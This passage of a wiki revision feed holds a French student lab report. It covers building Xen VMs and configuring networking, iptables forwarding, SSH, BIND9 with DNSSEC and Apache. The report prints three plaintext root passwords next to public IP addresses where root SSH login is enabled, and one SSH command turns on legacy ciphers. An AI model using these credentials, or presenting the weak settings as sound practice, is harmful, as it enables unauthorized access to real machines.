&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11992</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11992"/>
		<updated>2026-02-02T07:53:15Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Utiles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
